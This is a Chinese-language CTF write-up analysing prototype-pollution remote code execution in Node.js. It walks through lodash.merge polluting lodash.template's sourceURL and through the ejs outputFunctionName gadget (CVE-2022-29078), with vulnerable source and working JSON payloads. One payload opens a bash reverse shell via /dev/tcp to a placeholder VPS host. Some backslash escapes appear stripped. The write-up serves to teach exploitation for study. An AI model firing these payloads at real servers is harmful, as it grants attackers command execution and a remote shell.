lodash模块与ejs模板引擎的原型链污染
本篇是基于对web342题payload的深入探讨
[Code-Breaking 2018]Thejs
docker搭建后进入题目

先看源码
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
源码意思就是想选择的东西保存到session.data然后输出出来。
当看到lodash.merge就想到原型链污染。这题污染点在哪里?并不在session上。
我们来看lodash.template函数的写法
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + 'n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
可以看到 sourceURL 对象是通过三目运算法赋值,默认值为空。往下看可以发现 sourceURL 被拼接进 Function 函数构造器的第二个参数,造成任意代码执行漏洞。代码中options.sourceURL直接引用sourceURL。所以我们通过原型链污染 sourceURL 来执行任意代码。但是要注意,Function 环境下没有 require 函数,直接使用require(‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。
思考一下如何构造?
先给出payload
{"__proto__":{"sourceURL":"u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}
(u000a是n的unicode编码)
解释一下,当我们发送该payload的时候,会污染 Object.prototype 的 sourceURL 属性,由于 lodash.template 会使用 options 对象,而 options 继承自 Object.prototype,因此 sourceURL 的值会被注入到模板编译过程中。
当我们发送payload后,Object.prototype.sourceURL 被设置为
"u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"
那么options.sourceURL也为
"u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"
拼接后,sourceURL为
'//# sourceURL=u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}n'
拼接后的函数体sourceURL + ‘return ‘ + source为:
'//# sourceURL=u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}nreturn e'
那么最终拼接后的Function构造函数如下:
Function(importsKeys,
//# sourceURL=
return e => {
return global.process.mainModule.constructor._load('child_process').execSync('id');
}
return e
);
这就会动态执行e这个箭头函数从而触发payload

ejs模板引擎
回忆一下web341的payload,直接利用的ejs原型链污染poc打的。
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/vps-ip/port 0>&1"');var __tmp2"}}}
下面分析一下为什么是这个
来两个简单的源码
app.js
const express = require('express');
const app = express();
const PORT = 3000;
app.set('views', __dirname);
app.set('view engine', 'ejs');
app.get('/', (req, res) => {
res.render('index', req.query);
});
app.listen(PORT, ()=> {
console.log(`Server is running on ${PORT}`);
});
index.ejs
<html>
<head>
<title>Lab CVE-2022-29078</title>
</head>
<body>
<h2>CVE-2022-29078</h2>
<%= test %>
</body>
</html>
我们运行app.js后浏览器访问给参数,在第8行打断点
然后一直调试到调用compile函数这一步,再往下就会发现以下代码

观察这段代码
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + 'n';
}
if (opts.destructuredLocals && opts.destructuredLocals.length) {
...
会发现与上面的题大差不差,通过污染opts.outputFunction来动态执行代码。_tmp1;和var __tmp2自然也是用来拼接的。
那么一开始的payload也就好理解了。和Thejs题目思路一模一样。一个是lodash.template函数来进行代码执行,一个是ejs模板的内部函数来进行代码执行。





